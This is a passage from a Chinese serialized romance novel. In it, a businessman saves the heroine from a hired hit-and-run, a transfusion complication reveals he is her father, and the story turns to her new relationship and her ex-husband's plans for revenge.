他看向舒星若身边的保镖:“叫他们跟在后面,放心吧,我舍不得伤害你的。”
舒星若点头示意他们在后面保护就行,众目睽睽之下,谅他也不敢干什么缺德事。
舒星若死死的瞪着他:“你到底要怎么样才肯放过行止堂?”
姜学名浅笑:“我不是说了吗,你嫁给我就行。”
舒星若怒道:“你做梦。季宴礼就因为出轨何欣,我都不要他。我会要你这个跟何欣在一起鬼混过的人吗?”
季宴礼再不济也是青年才俊,姜学名一个糟老头拿什么跟他比?
她没骂他老不羞就是给足他面子了。
姜学名涨红了脸,季宴礼长相好家世好,她说离就离了。
可见她性格刚烈,要是逼急了她干出什么疯狂的事还真难说。
姜学名小心翼翼的说:“我不知道你这样恨何欣,要是知道我打死也不碰她。”
舒星若懒得跟他废话,“我把当年的原件给你,从此以后你死了这条心。行止堂有利于民生,希望姜大企业家履行自己的社会责任,高抬贵手。”
还没等姜学名回答,一辆车飞速冲过来。身后的保镖还来不及反应,电光火石之间,姜学名推开舒星若,他被车子撞上,倒在了血泊里。
撞完人之后,那辆车要跑,被楚建业和另一名保镖开车拦了下来。
司机被拽下车,是名中年男人,舒星若不认识他。
楚建业怒喝:“你为什么开车撞人?”
司机面如死灰,拒绝回答。
舒星若惊魂未定,顾不上审问肇事司机,吩咐保镖将姜学名抬进了济慈医院,医生火速来抢救,姜学名被推进了手术室。
楚建业报警将司机交给了警察,由始至终司机都是一言不发。
苏容泽听说舒星若差点被人撞了,开完会立刻赶到医院。
只见舒星若枯坐在手术室门口,脸色惨白,她的大衣上染着血迹。
苏容泽担忧的抱住她:“星若,你没事吧?这身上的血怎么回事?”
舒星若说:“我没事,血迹是姜学名的。他为了救我受伤了,现在还在动手术。”
苏容泽看不懂了:“他竟然这么喜欢你,甘愿替你去死?”
舒星若也不明白了,姜学名整天嚷嚷着要娶她,但是她一个好脸都没给过,不至于用情这么深。
手术室里走出来一名医生,“病人失血过多,需要输血。他是O型RH阴性血,我们血库没有这种血的储备。”
舒星若说:“我是O型RH阴性血,我可以献血给他。”
她平时神烦姜学名,但紧急关头人家救了她的命,她是个知恩图报的人。
她跟着医生去献血,回来之后脸色有些苍白。
苏容泽扶她坐下,递了红糖水和牛肉干给她,“宗助已经去公安局了解情况了,那个司机是有人雇来害你的。刚那条巷子里恰好没有监控,如果他跑了就很难抓到人。”
舒星若眼神变冷:“手法跟季宴礼当年的车祸几乎一模一样,我猜是何欣干的。”
虽然过了六年,她清楚的记得,当年那辆大货车也是这样撞上来的。
虽然她不知道当年何欣害季宴礼的目的,但强烈感觉就是何欣干的。
苏容泽点头道:“她能在季宴礼眼皮子底下躲了这么多天,背后一定有人在帮她。”
“我们的人和警察都在查,如果是她干的,相信她很快就被抓了。”
舒星若说:“希望幕何欣能供出幕后黑手。”否则舒星若始终处于危险之中。
两人小声商量着,医生出来怒斥舒星若:“你是病人直系亲属,你怎么不早说?”
舒星若一头雾水:“直系亲属?我跟他没关系啊。我自己也是医生,我不可能这样害人。”
直系亲属之间不能献血,这是医学常识,舒星若不可能犯这种低级错误。
医生说:“怎么没关系?都发生TA-GVHD了。还好我们抢救得及时,不然病人就被你的血害死了。真是的,早说我们就做血液辐照了,省得这么麻烦。”
TA-GVHD是一种罕见但致命率极高的输血并发症,中文名叫输血相关移植物抗宿主病。直系亲属之间献血容易发病。
舒星若解释完,苏容泽惊道:“你要不要和姜学名做个DNA鉴定?”
舒星若点点头,她也想搞清楚自己跟姜学名到底什么关系。
等DNA鉴定报告期间,姜学名被推进了高级VIP病房。
楚建业跟了进去,舒星若和苏容泽等在外面。
楚建业说:“姜总,舒星若可能是您的女儿,医生说她刚给您献血,发生了直系亲属输血并发症。”
“女儿?”姜学名陷入沉思之中,他明明没有生育能力。
这些年他用尽了药物和高科技,也没有取出来精子。
他以为这辈子不可能有一儿半女了,突然冒出一个跟他的白月光几乎长得一样的女儿。姜学名感觉喜从天降。
当年舒月发现了何宏出轨,去酒吧买醉。他遇见了她,将喝醉的她带回家里。
没忍住,乘人之危了。事后他还意犹未尽的抱着舒月睡觉。
第二天早上舒月醒来,他跪在舒月的床前忏悔,保证以后会好好照顾她。
舒月给了他一巴掌哭着离开,后来她跟何宏离婚了。
舒月离婚后,姜学名去找过她几次,都被她拒绝见面。
从此就是永别。
回忆起这段往事,姜学名心口发疼。
他不知道舒月的死,跟自己的乘人之危有没有关系?
如果有的话,他万死难辞其咎。
姜学名想,难道舒月是那晚怀上了舒星若?
想到舒星若是自己的女儿,他觉得自己真该死,竟然逼迫她嫁给自己。
也可能是天然的血缘关系,刚刚在危险关头他不加思索的推开了舒星若。
姜学名嗓子很哑:“叫星若进来,我有话要跟她说。”
舒星若进来的第一句话就是:“你当年是不是强迫了我妈?”
第119章 我可以搬来和你一起住吗
王阿姨说过,当年何宏一穷二白,舒月不顾一切的嫁给他。宁可芳却认为何宏这个男人不太靠得住,舒月完全不听。
夫妻俩怕她嫁过去吃苦,给了丰厚的嫁妆。
婚后,舒月用家里给的嫁妆帮何宏创业,为了他的事业,开头几年她都没有生孩子。
事业刚有起色,何宏就出轨了田玉芬。如果不是真爱,舒月发现他出轨也不会那么伤心。
这样的母亲是不可能背叛丈夫的,她跟姜学名扯上关系只能是姜学名强迫。
面对舒星若的灵魂叩问,姜学名长长的叹了口气:“当年你妈发现何宏出轨,心碎喝醉了,我乘人之危要了她。我说过会照顾她一生一世,但是她不愿意。”
果然跟她猜想的大差不差,舒星若的眼神变得阴冷:“强暴就是强暴,说什么乘人之危?”
原本她对姜学名的那点感激荡然无存,她打心底的憎恶这个老头。先是强暴母亲,后有逼迫自己。老混球一个。
苏容泽拿着DNA鉴定报告走了进来,报告上显示两人是父女关系。
舒星若却对姜学名说:“不要公开我们的关系,就算你公开了,我也不会认你。”她以强J犯的父亲为耻。
姜学名面色铁青,说不出话来。
楚建业看不过去了:“姜总刚才可是用命救了你,不是他,现在躺在病床上的就是你。你怎么可以说出这么凉薄的话来?”
舒星若脸上的寒意更甚,她说道:“那你就问你们姜总做过什么。”
她转向姜学名:“还有,你以后不许再去打行止堂的主意,舒家没有一个人对不起你。我妈极有可能因为你患上了重度抑郁,你是害死她的凶手之一。你要是非要行止堂关门,你的良心烂透了,我跟你不死不休。我不介意将你当年的种种行为曝光,虽然伤不了你的根本,我就看你能不能受得了别人的指指点点。”
舒星若的一番话说完,姜学名脸上的血色褪得干干净净,犹如将死之人。
楚建业的拳头都硬了,“你不该这样对你的救命恩人和父亲。”
舒星若冷声道:“我从小到大就没有父亲。”
如果不是姜学名刚救过她,她一定会想办法弄死他。
楚建业还想说什么,被姜学名打断了,他哑着嗓子说道:“好,我答应你。”
他功成名就之后最大的遗憾就是没了舒月,再多的莺莺燕燕也替代不了她,好在他们有一个女儿。
一个几乎跟舒月长得一模一样的女儿。
平常的女儿都是长得像父亲,舒星若的长相却和他没有丝毫关系。唯有骨子里的那股狠劲,像极了自己。
不认他不要紧,只要她在就行。在姜学名心里,舒星若是代替舒月活着。
上车之后,舒星若给舒延兆打电话,“外公,行止堂没事了,您继续安心经营。”
舒延兆听到她声音里有一股脱力感,上次她回来说要离婚也不是这样的状态,这孩子一定遭遇了什么。
忍不住问道:“究竟发生什么了?”
舒星若淡淡说道:“外公,您不要再问了,总之我没事,行止堂也没事。”
她匆匆挂了电话,眼泪不受控制的唰唰掉落。
苏容泽心疼的抱着她,柔声安慰:“若若,这一切不是你的错,没人能选择自己的出身。”
舒星若哽咽着说道:“我觉得自己很没用,我竟然不想弄死姜学名那个混蛋,是他强暴了我妈。那个时候她刚遭受了婚姻的背叛,又遇到混蛋的凌辱。她一定很难过,但是她还是选择生下了我,将我带大。”
苏容泽平静的说道:“也许是天意,你给姜学名输血,发生了并发症,只是他命不该绝,被医生抢救过来了。”
舒星若也觉得是,TA-GVHD的死亡率高达90%,姜学名还真是命大。
舒星若闷声说道:“我以前觉得何宏那个混蛋,是我生物学上的父亲已经很丢人了,现在想不到是姜学名这种毫无底线的人。”
苏容泽低声说道:“你不认他,他就永远不是。”
舒星若坚定的说道:“永远不认。”
舒星若经历这一场巨大的变故,身心俱疲,靠在苏容泽身上,合上眼睛,沉沉的睡去。
一直到家她也没有醒过来,苏容泽将他抱下车,轻轻的放到床上。
看着睡着时舒星若的眉头还在紧锁,苏容泽的心揪着疼。恨不得自己代替她心痛。
他不知道舒星若心里到底有多痛楚,但此刻他想抱着她,让她不至于醒来时孤立无援。
舒星若迷迷糊糊醒来已是第二天早上六点钟,她摸到了一块坚实的胸肌,闻到了苏容泽身上的龙涎香味道。
她心里忐忑不安,完蛋了,这怎么一不小心把他给睡了。
房间的窗帘遮光性太好,她又不敢开灯。
黑暗中她摸了摸自己身上的衣服,只是脱了外套,连睡衣都没换。
还好,还好,没有把他怎么样。
但是苏容泽抱得太紧,她想溜出去,被他强有力的手臂捆得紧紧的。
她挣扎了一下,苏容泽醒了。
他伸手打开了床头的夜灯,他望着神情已经恢复平和的舒星若,心下舒坦了不少。
“星若,你好些了吗?”
舒星若被他抱在怀里,脸颊染上了红霞:“我没事了,那个你能放开我吗,我想起床。”
苏容泽松开手,他也跟着她一起起床洗漱。
这一夜他抱着她,比以往睡得更踏实。
“昨晚我看你睡得不好,怕你夜里有事找不到人,就抱着你睡了,你不会生气吧?”他一边说着一边偷瞟她,生怕她不高兴。
舒星若转身看向他,拉起他的手:“怎么会呢?谢谢你一直陪着我。”
苏容泽心中一阵欢喜,接着问道:“那我可以搬来你房间跟你一起住吗?”昨天听说她差点被车撞了,他吓得半死,害怕失去她。
他不管那么多了,即使历经万难他也要娶她。
舒星若说:“可以不要这么早同居吗?我们先恋爱一段时间。”
她对于婚姻有阴影,她现在认为正常的恋爱才是幸福婚姻的开端。
苏容泽宠溺的看着她:“行,都听你的。”
第120章 救命恩人还是始作俑者?
他俯在舒星若的耳边,轻声说道:“亲爱的女朋友,那我们下楼锻炼吧。”
他不知道从哪学的气泡音,比他平时的声音更好听。
舒星若被这个妖精似的男人勾得心里痒痒的,笑道:“好的,男朋友。”
苏容泽问她:“你今天穿什么颜色的运动服?”
“粉色。”
苏容泽:“那我也穿粉色,情侣必须要穿一样的。”
舒星若无语,“你一个荷尔蒙爆棚的大帅哥穿粉色的,不会让人家误认为你是基佬吗?”
苏容泽对她的玩笑毫不在乎,只听到了她在夸自己帅,嘴都快笑咧开了:“不好看怎么敢跟你出门呢?”
粉色穿在他身上一点都不娘,反而有种清爽感。配上那张精致的脸,简直像是在拍广告。
衣服这玩意,还是得看脸和身材。
冬季在户外锻炼并不舒服,舒星若开窗伸手感受了一下窗外的气温,太冷了。
两人干脆坐电梯下到地下一层的自家健身房。
健身房里什么器械都有,对舒星若来说却没什么用。
她照例练武当八段锦,苏容泽空腹跑五公里。他先跑完,坐在一旁看舒星若练功。
她盘靓条顺,一招一式中自带三分柔媚,尽管素颜,还是美若仙子。
二十八岁的人看起来还是像二十出头的样子,皮肤嫩得能掐出水来。
苏容泽想:“以后我要每天都见到她。”
两人锻炼完差不多七点了,佣人们已经做好了早餐。
舒星若对饮食比较重视,每周家里的菜单佣人们排好,她修改了一遍才使用。
苏容泽觉得跟她一起吃饭很好,既健康又美味。
季知许起床下楼来吃早餐,他见到苏容泽和妈妈穿同色系的运动服,不禁问道:“妈妈,你们牵手成功啦?”
舒星若承认,“嗯,苏叔叔现在是我的男朋友。”
季知许开心的鼓掌,“太好了,妈妈你终于不用孤身一人啦。苏叔叔,可要好好的爱我妈妈哦!你要是对她不好,我可不放过你。”
苏容泽觉得季知许是他见过的最可爱的小孩,夸道:“许许,你和你妈妈一样的有眼光。放心吧,叔叔一定会对你妈妈好的。”
季知许像个小大人似的点头:“孺子可教。”
舒星若汗颜:“孺子可教不是这么用的。”
苏容泽却不在乎,拿起手机直接给季知许转了十万,他听舒星若说过季知许是个小财迷。
【拿去买玩具。】
小家伙开心的收下微信转账,乐呵呵的说:“今天是周末,你带妈咪约会去吧。我去找爷爷奶奶玩。”
听到这话,苏容泽更开心了,一脸温柔的摸他的小脑袋:“真乖,下个周末我带你们一起出去玩。”
“太好了!”季知许最喜欢的就是跟舒星若一起出门玩,今天他完全是忍痛割爱了。
吃完早饭,季知许换好衣服,舒星若让司机送他去找韦瑛。
苏容泽又骚气的跟舒星若穿上一样的白色大衣,围巾也是墨绿色的。
温婉大气的舒星若配上禁欲系帅哥苏容泽,两人的颜值简直就是绝配。
苏容泽打算带舒星若去逛街买东西,舒星若想起昨天的事问道:“警方那边有消息了吗?”
苏容泽刚刚收到宗司辰的回复,两人先上车。
坐定之后,苏容泽说道:“宗助打听到了,昨天晚上警方连夜抓获了何欣。你猜她躲在哪里?”
舒星若听说季宴礼找遍了海市都没找到她,“应该是什么非法的地方吧?”
苏容泽说:“对,一个地下赌场里。警方拿肇事司机的手机联系她的卫星电话,才找到的定位。上次她联系文友兰也是用的这个电话。对了,文友兰潜逃出国了,怪不得我一直找不到人。”
苏容泽真是掘地三尺也没找到人,当初气得他发了好大一通脾气。
“何欣是真狠啊,她安排文友兰出国,说是为了她的安全。文友兰一到国外,何欣转手就把她卖到了红灯区。这些都是警方从何欣那部手机里查出来的。不知道经过几个月的折磨,文友兰还有没有命。何欣借王春花的手害你,幕后主使警方还在调查中。”
舒星若听到文友兰是这样的结果,心里无比畅快,她笑了:“果然恶人自有恶人磨,何欣好就好在心狠手辣。对了,六年前的车祸是不是她干的?”
“她和肇事司机都不肯承认,说只干了这一次。我查了司机的账户,当年有人存进去八十万。这笔钱的进账我已经提交给警方了,警方在全力追查。”
听到这舒星若不厚道的笑了,“季宴礼口口声声说了六年何欣是他的救命恩人,到头来是罪魁祸首,不知道他晓得了会有什么反应?”
季宴礼已经不是之前的蠢相了,现在他不再相信何欣立的善良人设。真相可能会让他的世界崩塌。
苏容泽说:“资料我已经整理好发到你手机上了,你可以发给他。”
季宴礼人还在出差,没回海市。
舒星若说:“不急,等他回来。警方可能有更进一步的结果,他知道全部真相更有趣。”
一想到季宴礼崩溃的表情,舒星若就忍不住开心。
苏容泽说:“我也想看季宴礼得知真相的样子。”
舒星若笑:“那我们到时候一起去看,带上安禾。不是她找到何欣做处女膜修复手术的资料,季宴礼跟何欣可能孩子都有了。”
何欣要是怀了季宴礼的孩子,那舒星若这辈子也动不了她。
正聊着,加工围棋的洪师傅打来电话:“舒小姐,您的定制围棋已经做好了。”
舒星若欣喜:“提前了好几天呢,太好了。”
洪师傅说:“加班加点做的,你应该是要送给很重要的人,现在就可以来取了。”
挂了电话,舒星若让司机改道去玉石市场。
苏容泽见她一脸愉悦,问道:“什么事,这么开心呀?”
舒星若神秘的说:“你到了就知道了。”
舒星若竟然给他准备惊喜,情不自禁的将她揽入怀中。
“星若,原来我已经在你的心里了。”
舒星若眼中含情:“不能让你流入市场,太抢手了,我抢不过。”
“放心,谁敢打我的主意,我会让她知道什么叫不自量力。”
第121章 你值得我不惜一切代价
舒星若对他的“不近人情”早有了解,弯着眼睛笑:“小泽泽是世界上最乖的男朋友。”
前面开车的司机后背一僵,握着方向盘的手指下意识地收紧。
他跟了老板这么多年,还是头一次听到有人敢用这么“奶”的称呼叫他。
司机不动声色地瞥了一眼后视镜,却见老板非但没有动怒,那素来冷峻的眉眼间竟漾开了罕见的柔情。
乖乖,这冰山是真的融化了。
苏容泽搂着舒星若的手臂收得更紧,仿佛要将她整个人嵌进骨子里。
他凑到她耳边,温热的气息拂过她敏感的耳廓,声音低沉而危险:“别在车上招惹我,我可不是什么正人君子。”他声线压得更低,带着警告和挑逗,“小心我忍不住。”
舒星若脖子痒痒的,像只被顺毛的小猫,软软地靠在他怀里,用气音回道:“知道了,小泽泽。”
这一声,让苏容泽心口的悸动愈发清晰。
他低头,克制地在她唇上印下一吻,若非场合不对,他定要给她一个缠绵深吻。
车子抵达玉石市场,两人直奔洪师傅的加工店。
洪师傅对舒星若印象深刻,此刻见她与苏容泽亲密地牵着手出现,瞬间了然,这套天价围棋的主人是谁了。
“小姑娘,眼光真好,”洪师傅笑着打趣,“难怪舍得下血本,你这男朋友可真是英俊不凡。”
他将两个精致的木盒捧出,置于茶桌上。
苏容泽打开棋盒的瞬间,目光便被吸引了。
一盒粉如朝霞,一盒墨如烟雨,颗颗棋子圆润通透,在灯光下流转着奢华的光泽。
洪师傅的手艺堪称一绝,棋子中央厚实,边缘微扁,触手温润光滑。
苏容泽指尖捻起一枚,那细腻的质感仿佛就是舒星若的小手。
一时间,欣喜、震撼、以及几乎要满溢出来的爱意,在他胸中翻腾。
“你这女朋友是真的用了心,”洪师傅感慨道,“挑了最顶级的碧玺,专程让我打磨。我做了几十年工,还是头一回接这么精细的活。这每一颗棋子,都是她对你的情意啊。”
苏容泽听着,胸腔里被滚烫的情绪填满,几乎要溢出来。
他放下棋子,长臂一伸将舒星若带进怀里,收得极紧,将她抱离了地面转圈圈,恨不得就此将她揉进自己的骨血里。
“星若,你是我命中注定的天使。”
舒星若被他突如其来的举动弄得一愣,这个一向沉稳的男人,怎么突然失控了?
大庭广众之下被人这么抱着转圈圈,她脸颊发烫,小声说:“你先放我下来。”
苏容泽依言放下她,却依旧紧紧抱着,在她耳畔低语:“星若,你是不是很早就喜欢我了?”
“那时候我很感激你,就想送一份谢礼。你什么都不缺,我想了很久,才想到这个。”
苏容泽嘴角的笑意藏也藏不住:“谁说我什么都不缺?我最缺的,就是你的心意。谢谢你,愿意为我花这么多心思。”
舒星若也笑了:“我们是恋人,为彼此用心不是应该的吗?在我爱上你之前,你就为我做了那么多,我这点心意不算什么。”
洪师傅在一旁笑呵呵地看着两人腻歪,舒星若余光瞥见,有些不好意思,推了推他:“好了,先放开我,我把尾款结一下。”
苏容泽这才恋恋不舍地松开手。
结完账,洪师傅又问:“我托朋友用一块顶级的榧木刻了一副棋盘,想着跟你这棋子是绝配,要不要顺便看看?”
他知道舒星若不差钱,也乐得多做一笔生意。
那棋盘被搬出来,木质温润,带着淡淡的清香。盘面纹理流畅,浑然一体,足见工艺之精湛。
舒星若指尖在棋盘温润的木面上轻轻滑过,想起刚刚苏容泽收到礼物时惊喜的样子,觉得再贵的棋盘也配得上那两盒棋子。她问:“多少钱?”
洪师傅报出价格:“这块是整木的霓虹榧木,纹路品相都是顶级的,算您六十万。”
舒星若颔首道:“好,麻烦您了,我一起付。”
店员立刻手脚麻利地用绸布将棋盘与棋子精心包裹起来,如同两件艺术品。
舒星若将它们一件件递到苏容泽手中,郑重其事地说:“送给你。谢谢你,为我做过的一切。”
苏容泽满心欢喜地接过,调侃道:“若若送我如此贵重又用心的礼物,我该回赠什么,才不显得我这个男朋友太俗气?”
舒星若被他逗笑:“没关系,我就是个俗人,只要是你送的,我都喜欢。”
苏容泽握紧她柔软的手,心中庆幸自己当初的决定。
能让她早日挣脱牢笼,是他这辈子做过最正确的事。
随后,苏容泽带舒星若去了一家位于郊区的私房菜馆。
餐厅仿照姑苏园林而建,主打有机的江南菜,景致清幽雅致。
一下车,舒星若就被这里的园林景致吸引了。
“这家店的老板可真有情调。”
“我猜你会喜欢,”苏容泽道,“知道你偏爱江南园林,特意找的这个地方。”
舒星若有些意外:“你也是第一次来?”
“嗯,太远了,平时不常来。但我女朋友喜欢,再远也值得。”
“油嘴滑舌。”她嗔了一句,心里却是甜的。
两人点了响油鳝糊、蟹粉鱼翅、鲳鱼烧年糕、鲜鸡枞蒸石鸡、醋泡鲜莲子和芥蓝焗和牛等几道招牌菜,又要了两杯石斛雪梨汁。
苏容泽端起杯子,凝视着她,认真地说:“若若,我希望以后的时光,你一直在我身边。我们成为家人。”
听到“家人”这两个字,舒星若眼里的光芒黯淡了下来,她垂下眼帘,搅动着杯中的果汁,轻声说:“可你知道我的情况,苏家那样的人家,会接受一个没有办法生育的儿媳吗?我们还是先珍惜现在吧。”
抛开一切,能和一个人品、样貌、能力都顶尖的男人谈一场恋爱,已是幸事。
苏容泽面色一肃,放下杯子,覆上她的手:“从你出车祸那天起,我就下定了决心。我会为你扫清所有障碍,这辈子,我只认你一个。”
舒星若抬眼,仍有担忧:“那会很难吧?”
“不难,”苏容泽语气坚定,“你值得我费尽心神。”为了让她尽早离婚,他可以绞尽脑汁。为了娶她,就算与家族为敌,他也甘之如饴。
他的决绝打动了舒星若,她终于不再退缩,回握住他的手:“好,我陪着你,我们一起面对。”
苏容泽觉得,未来的一切都明朗了起来。
两人正吃着,宗司辰的电话打了进来。
苏容泽按下免提,宗司辰的声音清晰传来:“苏总,何欣已经招了。六年前的车祸,是她一手策划的。”
苏容泽的眼神瞬间冷了下来:“她有没有说,为什么要这么做?”
第122章 星若,我们复婚吧
宗司辰说:“是她干的。她很直白的交代了,当年季宴礼被下药跟舒小姐结婚后,因为愧疚给了何欣两百万当分手费。何欣就起意对舒小姐下手,花钱雇了肇事司机。只是连累了季宴礼,她去现场是想看看舒小姐**没有。想不到季宴礼最后一刻用身体挡住了所有伤害,舒小姐毫发无损。他被撞到重残。”
宗司辰说完,苏容泽沉默了,他想不到当年的情况竟然是这样。
舒星若听到宗司辰的叙述,心里一阵大惊,当时的情况太可怕,她创伤后选择性遗忘掉了。
宗司辰一提醒,被遗忘的记忆像**般袭来,猛烈的轰炸舒星若。
当时卡车飞速过来的时候,安全气囊还没来得及打开。季宴礼毫不犹豫的解开自己的安全带,扑到她跟前替她挡下致命一击,季宴礼瞬间血肉模糊。
她的头一阵剧痛,面如白纸,想起这段往事让她肝胆俱碎。
她在医院醒来后,忘了那段往事,只记得对季宴礼的爱和对何欣的恨。
苏容泽挂断电话,忙抱着舒星若,她的身体在剧烈颤抖,苏容泽忧心忡忡:“若若,你这是怎么了?”
舒星若声音颤抖的说:“当年那场车祸是季宴礼替我挡下了所有的伤害,没有他,伤残的人会是我。”
苏容泽心口震动,“那你打算怎么办?”
舒星若没有回答他的问题,自言自语的说道:“极大的冲击下我忘记了这一切,忘了他曾用命护过我。我一直怨他恨他,好像都错了。”
苏容泽神色一凛:“若若,你是后悔跟他离婚了吗?”
舒星若的神色很不对劲,让苏容泽脊背发凉。
舒星若眉头紧蹙,胸口起伏:“我不知道,我不知道……”她眼中的泪水滑下,当年她那样深爱季宴礼,她拼了命的救他。
季宴礼瘫痪后对她态度一直不好,她虽然坚持为他治疗,但心中早已生了怨恨,这怨恨蓄积了六年,最后他在床上喊出何欣名字的那一刻爆发。
她选择离开他。
她不该对他怨恨的,是他在千钧一发之际救了自己。
想到这一切舒星若的头更痛了,她气若游丝的说道:“容泽,送我回去吧。”
车子开到别墅前,季宴礼已经出差回来了,他拿着礼物站在门口。
这次出差时间被压得特别紧,他想早点回来见到舒星若,还不忘让言永飞去买了非遗花丝宝石手镯给她。
她见到了,一定会喜欢。
舒星若看向他,他的身姿依旧挺拔,俊脸有些憔悴。
不知道是不是因为自己的离开,让他憔悴了,舒星若忽然之间泪如雨下。
她下车走到季宴礼跟前,季宴礼见她泪眼婆娑,问道:“星若,是苏容泽欺负你了吗?”
舒星若问:“六年前的车祸,是你救的我,你为什么一直不说?”
季宴礼苦笑道:“我车祸后瘫痪了,我不想造成你的负担,后来你治好我,我们扯平了。你怎么突然记起这件事来?”
当年车祸以后,舒星若被吓得直接晕了,醒来之后她一回想车祸的细节就头疼欲裂。
后来季宴礼就说只是普通车祸,不用再想了。
季家派人调查车祸,那条路没监控,行车记录仪也被拿走了,便成了悬案。
舒星若诚恳的说:“对不起,这段时间以来,我的决绝对你造成的所有伤害,请你原谅。”
季宴礼见她伤心,心里也疼:“是我不好,被何欣蒙蔽了,误会冷淡了你六年。让我们白白错过了大好光阴。”他眼神真诚:“星若,如果你后悔了,那我们就复婚吧。”
苏容泽一阵紧张,**舒星若会不会跟季宴礼旧情复燃。
舒星若看了看他,六年的时光像电影般在她脑海里过了一遍。
他的冷漠他的不近人情历历在目,舒星若的头又开始痛了。
她强撑着自己,一字一句的说:“对不起,我不会跟你复婚了。我们相忘于江湖吧。”
“为什么?”季宴礼惊慌失措:“我知道错了,我不会再犯,我此生只爱你一个人。”
“就当是有缘无分吧。我爱过你,但是爱消失了。我找不回来了。”说完,舒星若掩面哭泣。
苏容泽搂着她颤抖的肩膀将她扶了进去,留下愣在原地的季宴
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礼。
他打给言永飞:“去查一下最近是不是何欣被抓了。”
言永飞觉得自己是超级牛马,刚出差回来,周末可以休息了。
又被指派去干活了,拉磨的驴都没他辛苦。
不过是去查何欣有没有倒霉,他瞬间满血复活,只要何欣倒霉他就开心。不是这个绿茶,舒星若不会离开季宴礼的。
回家之后的舒星若情绪久久不能平复,苏容泽抱着她,默默无言。
半晌之后,见舒星若已经平静了些,苏容泽缓缓开口道:“你是后悔跟我在一起了吗?”
舒星若心里确实后悔这么快跟苏容泽谈恋爱了,但转念一想自己又不会复婚,后悔干嘛呢?
她摇头:“没有,你这么好,我不会辜负你的。我只是想起当**有点难过,我不该给他点那个香的。”
苏容泽松了一口气:“车祸以后你对季宴礼不离不弃,也算仁至义尽,只要他以后不发疯,你们可以相安无事。”
舒星若长叹一声:“我以后跟他尽量少见面,我怕他又会干什么出格的事。”
她拿起手机给季宴礼发了一条微信:【当**谢谢你,谢你救了我。你替我承担了身体受伤的痛,我知道那时候你过得很不好,爱人离开,被迫娶了我。我不该心里一直偷偷怨恨你,加上你被人蒙蔽,导致我毅然决然的离开你。对不起!】
【如今时过境迁,我们的婚离了,我也找到了男朋友,希望你能放下往事。好好生活下去。愿你早日收获自己的幸福。你对我的恩情我没齿难忘,今生无缘,各自珍重。】
收到信息的季宴礼紧紧撰着手机,他的心脏似乎被人捏住,痛得无法呼吸。
当年电光火石之间,他来不及细想,本能的救下她,也许那个时候开始他就没有那么讨厌她。
只是自己不知道,是自己的偏见使得他们渐行渐远。
舒星若即使回忆起当**,她也不愿意回头。
他在微信里呼喊,【星若,我该怎样做,你才肯回头?】
舒星若回:【永不回头。】
这四个字将季宴礼心里的防线击得粉碎。
第123章 让苏容泽体会切肤之痛
他真的就一点机会都没有了吗?
季宴礼郑重的想这个问题,舒星若已经同意做苏容泽的女朋友。
按照她的性格,不爱,她不会同意的。
他记得上学那会,学校里有无数男生跟她表白,都被她一一拒绝了。
很多人私下调侃她目无下尘,看不上任何男生,有可能是拉拉。
因为她整天跟林安禾混在一起,从不正眼看任何男生,除了季宴礼。
但是跟他,也只是点头之交。
他们在学校的社团活动会聊几句,在选修课上遇上会打声招呼,再无交集。
直到毕业典礼那天,他才发现她很会掩饰自己的感情,她的心里一直都有自己。
回忆起这些,季宴礼的胸口犹如压了一块巨石,他喃喃自语道:“舒星若,我不允许你爱上别的男人。”
他这次出差就是去撬东盛集团最赚钱的业务,柔性屏幕客户。
这一板块是季氏和东盛重合的业务,只是东盛主做柔性OLED,季氏做高端AMOLED,两家本来客户没有重叠。
但苏容泽让舒星若快速离婚,这口恶气季宴礼必须要出掉。
他亲自去跟东盛的客户万鑫电子谈,AMOLED屏降价,万鑫新的产品线全部替换掉东盛的产品。
万鑫的研发老大和CEO在季宴礼的猛烈攻势之下,已签了前期合作意向书。
只等着产品测试了。
万鑫每个月的出货量高达一百万块,未来他们还要开发国外市场,即使降价也能给季氏带来至少十几亿的营收。
丢了这一个大客户,群狼环伺的东盛董事会,苏容泽的日子必定不好过。
季宴礼的脸藏在一片黑暗之中,他恶狠狠的说道:“苏容泽,我要让你知道什么是切肤之痛。”
如果不是他从中作梗,至少舒星若现在还是他名义上的妻子。
舒星若这边,她睡了个午觉,心情好了一些。
苏容泽已经换上了家居服,他没有睡午觉的习惯,在舒星若的房间里边工作边等她。
她醒来时看见他,觉得心里暖洋洋的。
她伸了个懒腰,苏容泽立刻过来求抱抱。
舒星若笑着抱着他:“下午好,小泽泽。”
苏容泽笑着亲了她一口,宠溺的说道:“也就你敢这么叫我。”
“现在心情好一些了没?”
舒星若点点头:“我没事,我跟季宴礼之间已经结束了。”
有些事错过就是错过了,后悔懊恼只会徒增烦恼。人始终要向前看。
舒星若看到桌子上的电脑,问道:“周末你也这么忙的吗?”
苏容泽说:“我的爱好之一就是工作。”
他不觉得工作辛苦,他的能力跟他的野心相匹配,他必须付出比常人更多的努力。
“那我耽误你工作了吗?”舒星若不能理解一个人只有工作没有生活,那是何等的悲惨。
她坐起身来说道:“我不太懂你们集团的运作,但是我觉得你光工作不会生活也没什么意思啊。”
苏容泽苦笑道:“没办法,苏家饿狼太多,东盛的董事会里也不太平。还要面临竞争对手,我松懈不下来。”他只有在面对舒星若的时候感到轻松,因为她对他坦诚,从不会算计他。
舒星若轻声说:“你过来,我帮你放松放松。”
苏容泽愣住了,他脸红了:“若若,你不会大白天的想那个吧。”毕竟他还是处男,大白天的他不太适应。
舒星若轻拍他:“瞎想什么呢?我是要给你按摩一下头上的穴位,让你放松放松。”
苏容泽的脸红到了耳后,原来是自己想法龌龊了。
他坐到床边,舒星若跪立着给他按摩。
她的手很轻柔,在他的太阳穴、印堂穴、天柱穴、风府穴和风池穴分别按揉了几分钟。
柔软的双手像轻柔的风拂去他所有的压力和焦虑,苏容泽整个人感到前所未有的轻松。
“星若,你的手简直就是被神仙吻过。”
舒星若笑:“我不怎么给人按摩,技术一般般。”除了当年给季宴礼按过腿之外,她几乎不给人按摩。
但是苏容泽却觉得她的手比任何一个按摩师都要好。
“不用这么谦虚,我都放松得飘飘欲仙
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了。”
舒星若又摸了摸他的脖子,低声说道:“你这个颈椎要注意哦,可能生理曲度变直了,久坐就会疼。”
苏容泽点头说:“嗯,我对着电脑工作四五个小时就左边肩膀像蚂蚁爬。”
“那是了。”
舒星若起身教了他一个四分钟的肩颈操,做完苏容泽的肩膀酸胀感瞬间消失。
他大呼:“你这也太神了!”
舒星若摆摆手:“小意思,我是不会正骨,不然你的颈椎我可以马上治好。”
苏容泽像发现新大陆:“中医类目里还有你不会的?”
舒星若变得十分谦虚:“不能这样讲,中医博大精深,我也只是学了个皮**。”
